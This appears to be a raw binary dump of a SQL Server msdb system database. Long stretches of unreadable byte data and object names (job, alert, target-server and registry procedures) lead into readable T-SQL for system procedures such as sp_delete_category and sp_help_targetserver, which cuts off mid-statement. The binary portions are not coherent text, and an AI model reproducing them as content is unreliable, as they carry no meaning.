,
H
PPlL0tXp
t	X	

hL0		lP4
T
8


		

44	x 	<	|`DpT8 x\@$<\@$|`D(dH,(
t|`D(htL0lP4pT8X< < Xx\@$,dHx\@$|`<b
"Ij+6O,syssubsystems6L,syssubsystems60s,syssubsystems6KR[{,syssubsystems6vO|,syssubsystems6Tt.4syssubsystemsdbo6FJPsystargetservergroupmembersdbo6lu"JPsystargetservergroupmembersdbo6Ci#JPsystargetservergroupmembersdbo6g]$JPsystargetservergroupmembersdbo6Q%JPsystargetservergroupmembersdbo6֌ >Dsystargetservergroupsdbo63!>Dsystargetservergroupsdbo6lu">Dsystargetservergroupsdbo6Ci#>Dsystargetservergroupsdbo6g]$>Dsystargetservergroupsdbo6Q%>Dsystargetservergroupsdbo6&n2systargetservers6&n4:systargetserversdbo6H4:systargetserversdbo6k4:systargetserversdbo6!4:systargetserversdbo6F4:systargetserversdbo6Oj4:systargetserversdbo64:systargetserversdbo6Ci#4:systargetserversdbo6g]$4:systargetserversdbo6Q%4:systargetserversdbo6me
+4:systargetserversdbo6+4:systargetserversdbo6-4:systargetserversdbo6Q.4:systargetserversdbo6^4:systargetserversdbo6'(.systaskidsdbo6*0xp_cmdshelldbo6&n
.4xp_getnetnamedbo6.4xp_getnetnamedbo6
HNxp_instance_regdeletevaluedbo6HNxp_instance_regdeletevaluedbo6z
:@xp_instance_regreaddbo6>:@xp_instance_regreaddbo62:@xp_instance_regreaddbo6k:@xp_instance_regreaddbo6:@xp_instance_regreaddbo6!:@xp_instance_regreaddbo6Oj:@xp_instance_regreaddbo6:@xp_instance_regreaddbo6:@xp_instance_regreaddbo60s:@xp_instance_regreaddbo6z
<Bxp_instance_regwritedbo6<Bxp_instance_regwritedbo6<Bxp_instance_regwritedbo6!<Bxp_instance_regwritedbo6<Bxp_instance_regwritedbo6,2xp_logininfodbo6l$*xp_msverdbo60s$*xp_msverdbo6.4xp_msx_enlistdbo6!	.4xp_msx_enlistdbo6$xp_qvdbo6&n(.xp_regreaddbo6!(.xp_regreaddbo6(.xp_regreaddbo60s(.xp_regreaddbo6*0xp_regwritedbo6q	BHxp_sqlagent_is_startingdbo6iM8>xp_sqlagent_notifydbo6>04:systargetserversdbo6b14:systargetserversdbo6b1.4xp_getnetnamedbo652>Dsystargetservers_viewdbo6n34:systargetserversdbo6ϓ4,syssubsystems6ϓ4:@xp_instance_regreaddbo6|6,syssubsystems6G:@xp_instance_regreaddbo6q}_M4:systargetserversdbo6;P:@xp_instance_regreaddbo6;P
8>xp_sqlagent_notifydbo6;P.4xp_getnetnamedbo6U0Q4:systargetserversdbo6U0Q>Dxp_sqlagent_enum_jobsdbo6rU4:systargetserversdbo6rUJPsystargetservergroupmembersdbo6rU>Dsystargetservergroupsdbo60X4:systargetserversdbo6VTY4:systargetserversdbo6s	^>Dsystargetservers_viewdbo6-~_:@xp_instance_regreaddbo6-~_<Bxp_instance_regwritedbo6WZb4:systargetserversdbo6Nc(.xp_regreaddbo6Nc*0xp_cmdshelldbo67e4:systargetserversdbo6tOg(.systaskidsdbo6sh(.systaskidsdbo6i4:systargetserversdbo6i:@xp_instance_regreaddbo6i<Bxp_instance_regwritedbo6iHNxp_instance_regdeletevaluedbo6uo4:systargetserversdbo6uo:@xp_instance_regreaddbo6uo<Bxp_instance_regwritedbo6Jyt4:systargetserversdbo6~4:systargetserversdbo60b{2valueProperties6~2valueProperties6;,2xp_logininfodbo62valueProperties6m..4xp_get_scriptdbo65>Dxp_sqlagent_enum_jobsdbo6]:@xp_instance_regreaddbo6#Ft valuec60&^dsysutility_ucp_configuration_internaldbo6$'LRsysutility_ucp_configurationdbo6)(^dsysutility_ucp_configuration_internaldbo6JVL:@xp_instance_regreaddbo6J2O\bsysutility_mi_configuration_internaldbo6&P<Bxp_instance_regwritedbo6&P\bsysutility_mi_configuration_internaldbo6Q:@xp_instance_regreaddbo6Q\bsysutility_mi_configuration_internaldbo6QDJxp_instance_regdeletekeydbo6QHNxp_instance_regdeletevaluedbo6#RZsysutility_mi_configuration_internal6EYflsysutility_mi_session_statistics_internaldbo6iZPVsysutility_batch_time_internaldbo&nJ


\


Tn.R

R

		6D	VP|^J4
THRL0z@zLLDH`&x>TD~`p<n`	K#O#`vWXX&nXX&n+\")+\>+\2+\-(+\")+\>0+\o+\>+\9'+\-(+\")+\4A*+\>+\9'+\")+\>0+\>+\2+\9'+\-(+\")+\4A*+\od]&nd]kd]!d]Fd]d]&nd]Hd]Fd]Ci#d]g]$d]Q%d]me
+d]-d]Q.d]>0d]^d]&nd]Hd]Fd]Ojd]Ci#d]g]$d]Q%d]me
+d]+d]-d]Q.d]>0d]^d]Ojd]me
+d]&nd]Ojd]me
+d]Ojd]me
+d]^d]Ojd]me
+d]^d]Ojd]me
+d]Ojd]me
+d]	Ojd]	me
+d]
Ojd]
me
+7_lu"7_lu"7_Ci#7_g]$7_Q%7_֌ 7_3!7_lu"7_Ci#7_g]$7_Q%\`F\`lu"\`g]$\`Q%\`lu"d]b1d]b1^52^52^52^52d]n3XĄX9XĄX9XL:XL:XL:Xo4<Xo4<X)=X)=X)=WIWIWIWIW	IW
IWIWIW
IWIWIWIXIXIXJXJXJW4wKW4wKW4wKW	4wKW
4wKW4wKW4wKW
4wKW4wKW4wKW4wKW4wKX4wKX8YkLX8YkLX8YkLX8YkLd]q}_M+\q}_M+\q}_M+\q}_M+\q}_M+\GO+\GO+\GO+\GOX;PX;Pd]U0Q+\U0Q+\U0QXU0QXU0Q+\2$R+\2$R+\2$RXVSd]rUd]rU7_rU7_rUd]0Xd]VTY^s	^^s	^-~_Qr`d]WZbd]WZbd]WZbd]WZbd]
WZb+\Bd+\Bd+\Bd+\Bdd]7ed]7ed]7ed]7ed]
7e+\tOg+\tOg0XtOgd]id]i+\i+\i+\Mm+\Mm+\Mm+\Mm+\<qn+\<qnd]uo+\uo+\uo+\p+\pd]Jytd]~׶l\#I_׶l\G=`׶l\k1aenZe,JYe`]!eenZ!e,JY!e`]JEf`]ig`]h׶l\i`]i׶l\.ֺj`].ֺj׶l\gk`]gk׶l\l`]l׶l\spx[sp׶l\gqx[gq׶l\[rx[[r׶l\/Psx[/Ps%Xh@Dt%X0b{%X}%X%XM׶l\_enZ_%X1zX|X|0X4z:7\+]rW+]rW+]rW+]rW+]rW+]rW+]rW+]rW	+]rW
+]rW+]rW+]rW
+]rW^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y^@[Y	^@[Y
^@[Y^@[Y^@[Y
^@[Y^@[Y^@[Y^@[Y^X_=`rW=`rW=`rW=`rW=`@[Y=`@[Y=`@[Ya`@[Ya`@[Ya`rWucrWucrWucrWucrWucrWucrWucrWucrW	ucrW
ucrWucrWuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Yuc@[Y	uc@[Y
uc@[Yuc@[Yuc@[Y
uc@[Yuc@[Yuc@[YucrWdrWdrWdrWdrWdrWdrW
drWdrWd@[Yd@[Yd@[Yd@[Y	d@[Y
d@[Yd@[Yd@[Y
d@[Yd@[Yd@[YdrWerWerWerWe@[Ye@[Ye@[Ye@[YerWY_grWY_grWY_grWY_grWY_grWY_grWY_grWY_grW	Y_grW
Y_grWY_grWY_grWhrWhrWhrW	h@[Yh@[Yh@[Yh@[Yh@[Yh@[Yh@[Yh@[Yh@[Y
h@[Yh@[Yh@[YhrW˧irW˧irW
˧i@[Y˧i@[Y˧i@[Y˧iVTYb40X60X
B70X90X:VTYf=WJ~[\J~[\J~[]J~[].^W`.^W`.^W`.^b.^b.^b.^b.^b.^Kģc.^Kģc.^Kģc.^Kģc+X tZ+X tZ+XY[+XY[\=)_\=)_\=)_\=)_\=)_\=)_\&Kf\&Kf+X#Ft+X#Ft\ze\zeEY|0X|f=Wc%^
4n
|jX ~l6FL(


X

4"



n\J8&p:

XFzV2hD`<N*H.jZ$@P.>,n
\pJ^8L&:xH(fX6TFz$B"44\"nJ|
v@
\
J
|"8
*	hdj&

	VRr	zv` 0N<*hVdD~Rlt|2Zbjr
						v	dr	R`	@N	.<	
`Pb	$LE:R/6gw0sp_verify_proxy6h Hsp_verify_proxy_identifiers6+Hsp_verify_proxy_identifiers6OHsp_verify_proxy_identifiers6tHsp_verify_proxy_identifiers6LHsp_verify_proxy_identifiers6~xHsp_verify_proxy_identifiers6	syHsp_verify_proxy_identifiers6vO|Hsp_verify_proxy_identifiers6C}Hsp_verify_proxy_identifiers67~Hsp_verify_proxy_identifiers6/+Hsp_verify_proxy_identifiers6vO|Hsp_verify_proxy_permissions6`d86sp_verify_schedule6+Psp_verify_subsystem_identifiers6OPsp_verify_subsystem_identifiers6vO|Psp_verify_subsystem_identifiers67~Psp_verify_subsystem_identifiers6ϓ4<Bsp_verify_subsystemsdbo6|6<Bsp_verify_subsystemsdbo6Tt<Bsp_verify_subsystemsdbo6vO|<Bsp_verify_subsystemsdbo6.4sqlagent_infodbo6!
.4sqlagent_infodbo6`d88>SQLAGENT_SUSER_SIDdbo6<BSQLAGENT_SUSER_SNAMEdbo6>0<BSQLAGENT_SUSER_SNAMEdbo60)&,sysalertsdbo6iM&,sysalertsdbo6>&,sysalertsdbo62&,sysalertsdbo6'&,sysalertsdbo6")&,sysalertsdbo6ĄX9PVsp_verify_schedule_identifiersdbo6L:PVsp_verify_schedule_identifiersdbo6o4<PVsp_verify_schedule_identifiersdbo6o4<6sp_verify_schedule6o4<	8>SQLAGENT_SUSER_SIDdbo6)=PVsp_verify_schedule_identifiersdbo6^?8sp_verify_subsystem6^?Hsp_verify_proxy_permissions6S@	Hsp_verify_proxy_identifiers6AHsp_verify_proxy_identifiers6TȚH<BSQLAGENT_SUSER_SNAMEdbo6I6sp_verify_schedule64wKPVsp_verify_schedule_identifiersdbo68YkLPVsp_verify_schedule_identifiersdbo6GO<BSQLAGENT_SUSER_SNAMEdbo6GO&,sysalertsdbo6U0Q<BSQLAGENT_SUSER_SNAMEdbo6U0Q	8>SQLAGENT_SUSER_SIDdbo62$R8sp_verify_subsystem6VSPVsp_verify_schedule_identifiersdbo6{TPVsp_verify_schedule_identifiersdbo69U8>SQLAGENT_SUSER_SIDdbo6W&,sysalertsdbo6s	^<BSQLAGENT_SUSER_SNAMEdbo6i&,sysalertsdbo6k&,sysalertsdbo6Zl|(.spt_valuesdbo6}(.spt_valuesdbo6BNdJPsp_verify_proxy_identifiersdbo6{rXHsp_verify_proxy_identifiers6&4Hsp_verify_proxy_identifiers6)3Nsp_verify_schedule_identifiers6)3	Hsp_verify_proxy_identifiers6
B7Nsp_verify_schedule_identifiers6
B7JPsp_verify_proxy_identifiersdbo6#Ft(.spt_valuesdbo68(\bsyn_sysutility_ucp_space_utilizationdbo6q()X^syn_sysutility_ucp_cpu_utilizationdbo6L*BHsyn_sysutility_ucp_dacsdbo6p+LRsyn_sysutility_ucp_computersdbo6,HNsyn_sysutility_ucp_volumesdbo6U-\bsyn_sysutility_ucp_space_utilizationdbo6ݐ.PVsyn_sysutility_ucp_smo_serversdbo6/LRsyn_sysutility_ucp_databasesdbo6&y0NTsyn_sysutility_ucp_filegroupsdbo69Jm1LRsyn_sysutility_ucp_datafilesdbo6rna2JPsyn_sysutility_ucp_logfilesdboT_SUSER_SNAMEdbo6GO.4syscategoriesdbo6GO&,sysalertsdbo6;P"(sysjobsdbo6;P.4sysjobhistorydbo6;P28sysdownloadlistdbo6U0Q<BSQLAGENT_SUSER_SNAMEdbo6U0Q.4syscategoriesdbo6U0Q	8>SQLAGENT_SUSER_SIDdbo62$R8sp_verify_subsystem62$R.4syscategoriesdbo6VSPVsp_verify_schedule_identifiersdbo6{TPVsp_verify_schedule_identifiersdbo69U"(sysjobsdbo69U8>SQLAGENT_SUSER_SIDdbo6W&,sysalertsdbo60X"(sysjobsdbo6s	^<BSQLAGENT_SUSER_SNAMEdbo6-~_.4sysjobhistorydbo6Qr`"(sysjobsdbo6Qr`.4sysjobhistorydbo6Qr`06sysjobactivitydbo6WZb28sysdownloadlistdbo6Bd"(sysjobsdbo6Bd.4syscategoriesdbo6Bd28sysdownloadlistdbo67e28sysdownloadlistdbo6;++f"(sysjobsdbo6tOg.4syscategoriesdbo6i.4syscategoriesdbo6i&,sysalertsdbo6k&,sysalertsdbo6(l&,sysalertsdbo6Mm.4syscategoriesdbo6<qn.4syscategoriesdbo6uo.4syscategoriesdbo6p.4syscategoriesdbo6Jyt&,sysalertsdbo6nmu&,sysalertsdbo6av&,sysalertsdbo6=Uw&,sysalertsdbo6vIx&,sysalertsdbo6=y.4sysjobhistorydbo6=y06sysjobactivitydbo6#2z&,sysalertsdbo6!H&{&,sysalertsdbo6Zl|(.spt_valuesdbo6}(.spt_valuesdbo"z:xJtHnltv
|VrP
	nv,fv&
l

J
L	H	
`@4
j"h `HPKP%MzΞ"B':"B':"B':aD"BeE"BeE"BeE"BeE(CeE(CeE(CeE(CeE(CeE(CeE(CeE(CeE(C	eE(C
eE(CeE(CeE(C
eE(CeE(CeE(CeE(CeE(CeE(CeEADeEADB(CB(CB(CBMޅB&nBADBADBە
BiMB)?KB)?KB)?KB)?K	B)?K
B)?KB)?K7Cە
7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K	7C)?K
7C)?K7C)?K7C)?K
7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?K7C)?Kp7DbcLp7DbcLp7DbcLp7DbcLp7DbcLp7D)?Kp7D)?Kp7D)?K[EeE[EbcL[EbcL[EbcL[EbcL[EbcL[Eە
[E)?K[E)?K[E)?K[E)?KFeEFbcLFbcLFbcLFbcLFە
F)?KF)?KF)?KF)?KTȚH(CTȚH(CTȚH$kTȚHMޅTȚHĄX9TȚH`d8TȚHە
I(CI(CI(CIR<p7IeQIeQIeQIeQIeQIeQIeQIeQ	IeQ
IeQIeQIeQ
IeQIeQIeQIeQIMޅI6@;I"BI"BI&nIADIADIە
IiMu}FAu}FAu}FAu}FAu}FAu}FAu}FAu}FAu}FA	u}FDj3qGAqGAqGA6CZ@6CZ@6CZ@6CZ@6CZ@6CZ@6CZ@+D?r>+D?r>+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;+=Eҕ;	+=Eҕ;
+=Eҕ;+=Eҕ;+=Eҕ;
+=E|daFҕ;daFҕ;daFҕ;daFҕ;daFҕ;daFҕ;	daF|Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;Gҕ;	Gҕ;
Gҕ;Gҕ;Gҕ;
G|֩G+D֩Gҕ;֩Gҕ;֩Gҕ;	H=ykH?r>H?r>Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;Hҕ;	Hҕ;
Hҕ;Hҕ;Hҕ;
:WEC:WEC:WEC:WEC:WECG7~G/+G&m1G~xGgwHyI7~yI(CyI;PyISNyI&m1yI~xyI>0yI@yIgwIeQIeQIeQIeQIeQIeQIeQIeQ	IeQ
IeQIeQIeQ
IeQIeQIeQIeQIeQIMޅI6@;I"BI"BI&nIXIXIADIADIە
IiMJWJWJ(CJ(CJ(CJeQJeQJeQJeQJeQJMޅJ"BJ"Bu}FAu}FAu}FAu}FA




d
H
,

hL`D(0|T4p|x\@$P4l8`D(X< dH,p
T
8







x\@$L0hT8tX< x\@$tX< X	<	 						t	lP4p\@$xT8|`D(dH,hL0tlp4P|`QXb8&M <$K0.A	`*0sysjobsdbo0.A	`4:sysschedulesdbo0"B	`FLsysoriginatingserversdbo0aD	pNsysoriginatingservers_view0eE	@,2:sysjobsdbomsdb0eE	@8>Fsysjobserversdbomsdb0eE	@RX`sysoriginatingservers_viewdbomsdb0A	@,2:sysjobsdbomsdb0A	pJsp_verify_jobproc_caller0A	p<sp_verify_jobstep0A	@HNVsp_post_msx_operationdbomsdb0A	@8>Fsysjobserversdbomsdb0A	pLsp_verify_job_identifiers0A	@4:Bsysjobstepsdbomsdb0A	pPsp_verify_proxy_identifiers0B	@,2:sysjobsdbomsdb0B	pJsp_verify_jobproc_caller0B	@HNVsp_post_msx_operationdbomsdb0B	@8>Fsysjobserversdbomsdb0B	pLsp_verify_job_identifiers0B	@BHPsp_sqlagent_notifydbomsdb0B	@4:Bsysjobstepsdbomsdb07C	pLsp_verify_job_identifiers07C	@4:Bsysjobstepsdbomsdb0p7D	pBsp_delete_jobsteplog0p7D	@<BJsysjobstepslogsdbomsdb0p7D	@4:Bsysjobstepsdbomsdb0[E	@6<Dsysjobs_viewdbomsdb0[E	@<BJsysjobstepslogsdbomsdb0[E	pLsp_verify_job_identifiers0[E	@4:Bsysjobstepsdbomsdb0F	@6<Dsysjobs_viewdbomsdb0F	@<BJsysjobstepslogsdbomsdb0F	pLsp_verify_job_identifiers0F	@4:Bsysjobstepsdbomsdb0G	@DJVxp_instance_regreaddbomaster0TȚH	p(sysjobs0TȚH	`DJSQLAGENT_SUSER_SNAMEdbo0TȚH	pJsp_verify_jobproc_caller0TȚH	@BHPsp_attach_scheduledbomsdb0TȚH	@<BJsp_add_scheduledbomsdb0TȚH	pLsp_verify_job_identifiers0I	pTsysschedules_localserver_view0I	@,2:sysjobsdbomsdb0I	p>sp_verify_schedule0I	p2sysschedules0I	@6<Dsysschedulesdbomsdb0I	pJsp_verify_jobproc_caller0I	p`sp_update_replication_job_parameter0I		@RX`sysoriginatingservers_viewdbomsdb0I
	pDsp_post_msx_operation0I	@<BJsysjobschedulesdbomsdb0I	@8>Fsysjobserversdbomsdb0I
	pLsp_verify_job_identifiers0I	@BHPsp_sqlagent_notifydbomsdb0u}F	`28sysmail_logdbo0u}F	`<Bsysmail_allitemsdbo0qG	@4:Bsysmail_logdbomsdb06C	`flsyscollector_execution_stats_internaldbo0+D	`PVsyscollector_execution_logdbo0+=E	`bhsyscollector_execution_log_internaldbo0+=E	`TZsyscollector_collection_setsdbo0daF	`bhsyscollector_execution_log_internaldbo0daF	`TZsyscollector_collection_setsdbo0G	`bhsyscollector_execution_log_internaldbo0G	`TZsyscollector_collection_setsdbo0֩G	`bhsp_syscollector_verify_event_log_iddbo0֩G	`bhsyscollector_execution_log_internaldbo0H	`:@sysssispackagesdbo0H	`PVsyscollector_execution_logdbo0H	`bhsyscollector_execution_log_internaldbo0V
B	`V\syspolicy_target_filters_typedbo0:WE	`X^syspolicy_target_sets_internaldbo0G	`RXsp_grant_proxy_to_subsystemdbo0G	`JPsp_grant_login_to_proxydbo0G	`06sysproxiesdbo0G	`:@sp_delete_proxydbo0G	`4:sp_add_proxydbo0H	@X^fsp_sqlagent_has_server_accessdbomsdb0yI	`RXsp_grant_proxy_to_subsystemdbo0yI	@,2:sysjobsdbomsdb0yI	p4sp_delete_job0yI	@28@sp_add_jobdbomsdb0yI	`06sysproxiesdbo0yI	`:@sp_delete_proxydbo0yI	@>DLsp_add_jobserverdbomsdb0yI	@:@Hsp_add_jobstepdbomsdb0yI		`4:sp_add_proxydboI	@,2:sysjobsdbomsdb0I	p>sp_verify_schedule0I	p2sysschedules0I	@6<Dsysschedulesdbomsdb0I	pJsp_verify_jobproc_caller0I	p`sp_update_replication_job_parameter0I		@RX`sysoriginatingservers_viewdbomsdb0I
	pDsp_post_msx_operation0I	@<BJsysjobschedulesdbomsdb0I	@8>Fsysjobserversdbomsdb0I
	pLsp_verify_job_identifiers0I	@BHPsp_sqlagent_notifydbomsdb0J	pTsysschedules_localserver_view0J	@X^fsysschedules_localserver_viewdbomsdb0J	@,2:sysjobsdbomsdb0J	p2sysschedules0J	@6<Dsysschedulesdbomsdb0u}F	`28sysmail_logdbo0u}F	`<Bsysmail_al

\J
(
tT&
`JXf


"rh
h.>.8			ldfBL
|:X~VZD.~`
	K
'Oi	yAD52eEeEiMeEە
eEMޅeE&neE2eE-eEQ.eE>0eEn3eE[EeEە
eE&neE-eEQ.eEn3eE>0eEeEە
eEMޅ)?KB)?KL)?KiM)?K>0)?K6@;)?K^?)?KS@)?KA)?KB)?K7C)?Kp7D)?KL)?KiM)?K6@;)?K^?)?KS@)?KA)?KB)?K7C)?Kp7D)?K^?)?KS@)?KA)?K7C)?KL)?K>0)?K6@;)?KS@)?KA)?K7C)?K6@;)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?KS@)?KA)?K7C)?K	S@)?K	A)?K	B)?K	7C)?K
S@)?K
A)?K
B)?K[E)?K[E)?K[EeEF)?KF)?KF)?KFG4wKG8YkL)?Kq}_M)?Kq}_MeEGOeEGOeEGOeEGOeEGOeEGOeEGOeE	GOeE
GOeEGOeEGOeE
GOeEGOeEGOeEGOeEGOeEGO)?KGO)?KGOeE;PeE;PeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeE	U0QeE
U0QeEU0QeEU0QeE
U0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0Q)?KU0Q)?KU0Q)?KU0Q)?KU0Q)?K0X)?K0X)?K0XeEVTYeEVTY)?KȜ[)?KȜ[)?KȜ[eEs	^eEs	^eEs	^eEs	^eEs	^eEs	^eEs	^eE	s	^eE
s	^eEs	^eEs	^eE
s	^eEs	^eEs	^eEs	^eEs	^)?Ks	^eEQr`~HQr`~HQr`~H	Qr`~H
Qr`)?KQr`)?KQr`)?KQr`)?KQr`TȚHtOg)?KtOg)?KtOg)?KtOgeEsheEsheEsheEsheEݜqeEݜqeE
ݜqeEݜqeEݜqeE
ݜqeEݜqeEݜqeE=yeE=yF=yF=y~H=y~H=y~H=y~H=y~H=y~H=y~H=y~H=y~H	=y~H
=y~H=yeE~AD~*BK_*BK_*BK_*BK_*BK_*eH_*eH_*eH_)?K9)?K9 
KU 
KU 
KU0HU0HUUGTEUUGTEU 
KW~V 
KW~V 
KW~V0HW~V0HW~VUGTEW~VUGTEW~VTȚH7\)?KL)?KL)?KLs{FWJs{FWJs{FWJs{FWJs{FWJ:WE;sNs{F;sNs{F;sNs{F;sNs{F;sNs{FtgOs{FtgOs{FtgOWJ[PWJ[PWJ[PWJ	PQ:WE	PQ:WE	PQ:WE.DR:WE.DR:WEXR8S:WEXR8Ss{FXR8SWJ#FtWJ#FtWJ#Ft:WE#Ft:WE#Ft:WE#Ft:WE#Ft:WE#FtTȚHAA-nJf&bK
IqF8(
MEq()
IqFU-X\GwK]X\GwK]X\GwK]X\GwK]X\GwK]X\GwK]X\G)#=X\G)#=X\G)#=X\G)#=X\G)#=X\G)#=X\G!X\G!eE "eE "0K "eED#eED#eEGOeE
GOeEGOeEGOeEGOeEGOeEGOq}_MGO)?KGO)?KGO)?KGOeE;PeE;PeQ;PeQ;PeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeE	U0QeE
U0QeEU0QeEU0QeE
U0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0Q)?KU0Q)?KU0Q)?KU0Q)?KU0QU0Q2$RU0Q{T;P9UrUV)?K0X)?K0X)?K0XeEVTYeEVTY)?KȜ[)?KȜ[)?KȜ[eEs	^eEs	^eEs	^eEs	^eEs	^eEs	^eEs	^eE	s	^eE
s	^eEs	^eEs	^eE
s	^eEs	^eEs	^eEs	^eEs	^)?Ks	^eEQr`~HQr`~HQr`~H	Qr`~H
Qr`)?KQr`)?KQr`)?KQr`)?KQr`)?KQr`TȚHtOgSNtOg)?KtOg)?KtOg)?KtOgeEsheEsheEsheEsh;Psh9UsheEݜqeEݜqeE
ݜqeEݜqeEݜqeE
ݜqeEݜqeEݜqeE=yeE=yF=yF=y~H=y~H=y~H=y~H=y~H=y~H=y~H=y~H=y~H	=y~H
=y~H=yeE~AD~*BK_*BK_*BK_*BK_*BK_*eH_*eH_*eH_;PlX;P5)?K9)?K9:QsBR:QsBR:QsBR 
KU 
KU 
KU0HU0HUUGTEUUGTEU 
KW~V 
KW~V 
KW~V0HW~V0HW~VUGTEW~VUGTEW~VTȚH7\):(	tbP>,|	VjN		pxfTBX	<	^0F
	*	DL|jXF4"p(

6$*

4
"t
b
P
>
,



^L:ZH8\&rJz vhVD`<2 



vx
dfn
RT\
@BJ
.8
&

~l
Z
H	60	$n\J8	r	z

	`	h&nrd@R.
2N~l
`(<[(KM0") K8CREATE PROCEDURE sp_delete_category
  @class VARCHAR(8),  -- JOB or ALERT or OPERATOR
  @name  sysname
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @category_id    INT
  DECLARE @category_class INT
  DECLARE @category_type  INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @class = LTRIM(RTRIM(@class))
  SELECT @name  = LTRIM(RTRIM(@name))

  EXECUTE @retval = sp_verify_category @class,
                                       NULL,
                                       NULL,
                                       @category_class OUTPUT,
                                       NULL
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check name
  SELECT @category_id = category_id,
         @category_type = category_type
  FROM msdb.dbo.syscategories
  WHERE (category_class = @category_class)
    AND (name = @name)
  IF (@category_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Make sure that we're not deleting one of the permanent categories (id's 0 - 99)
  IF (@category_id < 100)
  BEGIN
    RAISERROR(14276, -1, -1, @name, @class)
    RETURN(1) -- Failure
  END

  BEGIN TRANSACTION

    -- Clean-up any Jobs that reference the deleted category
    UPDATE msdb.dbo.sysjobs
    SET category_id = CASE @category_type
                        WHEN 1 THEN 0 -- [Uncategorized (Local)]
                        WHEN 2 THEN 2 -- [Uncategorized (Multi-Server)]
                      END
    WHERE (category_id = @category_id)

    -- Clean-up any Alerts that reference the deleted category
    UPDATE msdb.dbo.sysalerts
    SET category_id = 98
    WHERE (category_id = @category_id)

    -- Clean-up any Operators that reference the deleted category
    UPDATE msdb.dbo.sysoperators
    SET category_id = 99
    WHERE (category_id = @category_id)

    -- Finally, delete the category itself
    DELETE FROM msdb.dbo.syscategories
    WHERE (category_id = @category_id)

  COMMIT TRANSACTION

  RETURN(0) -- Success
END
0
7) +8(getdate())0q() 8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_cpu_utilization_history]( 
   @object_type TINYINT, 
   @physical_server_name SYSNAME, 
   @server_instance_name SYSNAME, 
   @dac_name SYSNAME,
   @start_time DATETIMEOFFSET(7),
   @end_time DATETIMEOFFSET(7),
   @aggregation_interval TINYINT
   )
RETURNS TABLE 
AS
RETURN (	
    SELECT percent_total_cpu_utilization AS processor_utilization_percent, 
           processing_time AS sample_time
    FROM dbo.syn_sysutility_ucp_cpu_utilization 
    WHERE @object_type = object_type AND
          @aggregation_interval = aggregation_type AND
          (processing_time BETWEEN @start_time AND @end_time) AND
          ISNULL(@physical_server_name, '') = physical_server_name AND
          ISNULL(@server_instance_name, '') = server_instance_name AND
          ISNULL(@dac_name, '') = database_name
    )
N'') SELECT @name = NULL

  -- Check the type and class
  IF (@class = 'JOB') AND (@type IS NULL)
    SELECT @type_in = 'LOCAL' -- This prevents sp_verify_category from failing
  ELSE
  IF (@class <> 'JOB') AND (@type IS NULL)
    SELECT @type_in = 'NONE'
  ELSE
    SELECT @type_in = @type

  EXECUTE @retval = sp_verify_category @class,
                                       @type_in,
                                       NULL,
                                       @category_class OUTPUT,
                                       @category_type  OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Make sure that 'suffix' is either 0 or 1
  IF (@suffix <> 0)
    SELECT @suffix = 1

  --check name - it should exist if not null
  IF @name IS NOT NULL AND
     NOT EXISTS(SELECT * FROM msdb.dbo.syscategories WHERE name = @name
      AND category_class = @category_class)
  BEGIN
      DECLARE @category_class_string NVARCHAR(25)
      SET @category_class_string = CAST(@category_class AS nvarchar(25))
      RAISERROR(14526, -1, -1, @name, @category_class_string)
      RETURN(1) -- Failure
  END
       

  -- Build the WHERE qualifier
  SELECT @where_clause = N'WHERE (category_class = ' + CONVERT(NVARCHAR, @category_class) + N') '
  IF (@name IS NOT NULL)
    SELECT @where_clause = @where_clause + N'AND (name = N' + QUOTENAME(@name, '''') + N') '
  IF (@type IS NOT NULL)
    SELECT @where_clause = @where_clause + N'AND (category_type = ' + CONVERT(NVARCHAR, @category_type) + N') '

  -- Construct the query
  SELECT @cmd = N'SELECT category_id, '
  IF (@suffix = 1)
  BEGIN
    SELECT @cmd = @cmd + N'''category_type'' = '
    SELECT @cmd = @cmd + N'CASE category_type '
    SELECT @cmd = @cmd + N'WHEN 0 THEN ''NONE'' '
    SELECT @cmd = @cmd + N'WHEN 1 THEN ''LOCAL'' '
    SELECT @cmd = @cmd + N'WHEN 2 THEN ''MULTI-SERVER'' '
    SELECT @cmd = @cmd + N'WHEN 3 THEN ''NONE'' '
    SELECT @cmd = @cmd + N'ELSE FORMATMESSAGE(14205) '
    SELECT @cmd = @cmd + N'END, '
  END
  ELSE
  BEGIN
    SELECT @cmd = @cmd + N'category_type, '
  END
  SELECT @cmd = @cmd + N'name '
  SELECT @cmd = @cmd + N'FROM msdb.dbo.syscategories '

  -- Execute the query
  EXECUTE (@cmd + @where_clause + N'ORDER BY category_type, name')

  RETURN(@@error) -- 0 means success
END
0me
+ 8CREATE PROCEDURE sp_help_targetserver
  @server_name sysname = NULL
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  IF (@server_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.systargetservers
                    WHERE (UPPER(server_name) = @server_name)))
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END
  END

  DECLARE @unread_instructions TABLE
  (
  target_server       sysname COLLATE database_default,
  unread_instructions INT
  )

  INSERT INTO @unread_instructions
  SELECT target_server, COUNT(*)
